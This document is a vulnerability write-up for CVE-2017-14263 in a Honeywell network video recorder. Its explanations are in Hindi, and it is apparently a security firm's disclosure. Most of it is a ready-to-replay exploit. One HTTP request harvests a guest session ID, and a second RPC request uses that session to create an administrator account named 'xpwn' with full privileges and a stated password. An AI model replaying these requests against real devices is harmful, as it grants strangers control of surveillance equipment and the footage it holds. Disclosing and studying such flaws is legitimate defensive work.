Honeywell_NVR_vul

CVE-2017-14263

xfuturesec Co., Ltd

पहला, गेस्ट उपयोगकर्ता के लिए SessionID प्राप्त करें।

हम किसी भी HTTP अनुरोध से SessionID प्राप्त कर सकते हैं। उदाहरण के लिए:
POST https://192.168.1.104/RPC2 HTTP/1.1
Accept: text/javascript, text/html, application/xml, text/xml
X-Requested-With: XMLHttpRequest
X-Request: JSON
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: https://192.168.1.104/
Accept-Language: zh-cn
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Host: 192.168.1.104
Content-Length: 84
DNT: 1
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DHLangCookie30=%2Fweb_lang%2FEnglish.txt; DhWebSnapPath=C%3A%5CPictureDownload%5C; DhWebRecordPath=C%3A%5CRecordDownload%5C; DhWebClientSessionID=113826814; DhWebCookie=%7B%22username%22%3A%22guest%22%2C%22talktype%22%3A%221%22%2C%22loginid%22%3A633443784%7D

{"method":"global.keepAlive","params":{"timeout": 300},"session":113826814,"id":112}

"session":113826814 वर्तमान गेस्ट उपयोगकर्ता का SessionID है।

दूसरा, व्यवस्थापक उपयोगकर्ता बनाएं।

उपरोक्त बताए गए SessionID के साथ विशेष HTTP अनुरोध भेजें: POST https://192.168.1.104/RPC2 HTTP/1.1
x-requested-with: XMLHttpRequest
Accept-Language: zh-cn
Accept: text/javascript, text/html, application/xml, text/xml Content-Type: application/x-www-form-urlencoded; charset=utf-8
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
Host: 192.168.1.104
Content-Length: 759
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: DhWebClientSessionID= 113826814

{"method":"userManager.addUser","params":{"user":{"Id":3,"Group":"admin","Name":"xpwn","Password":"DD75DAB01878D84C963128764AB24DD3","Memo":"","Sharable":false,"AuthorityList":["Account","GeneralConf","OutputConfig","TVSet","ComConf","PtzConfig","AutoMaintain","bkConfig","OfflineLoginedUser","DefaultConfig","SysUpdate","MPTZ","Sysinfo","QueryLog","Alarm","Record","Backup","RecordConf","MHardisk","DataFormat","AlarmConf","VideoConfig","NetConf","RemoteDevice","EncodeConf","DelLog","ShutDown","Replay_01","Replay_02","Replay_03","Replay_04","Replay_05","Replay_06","Replay_07","Replay_08","Monitor_01","Monitor_02","Monitor_03","Monitor_04","Monitor_05","Monitor_06","Monitor_07","Monitor_08","Monitor","Replay","CtrPanel"]}},"session": 113826814,"id":271}

"session": 113826814 पहले चरण से प्राप्त SessionID है।

अब, नाम: xpwn और पासवर्ड: Pwd@12345 के साथ व्यवस्थापक खाता बनाया गया है। हम इस खाते से डिवाइस में लॉग इन कर सकते हैं।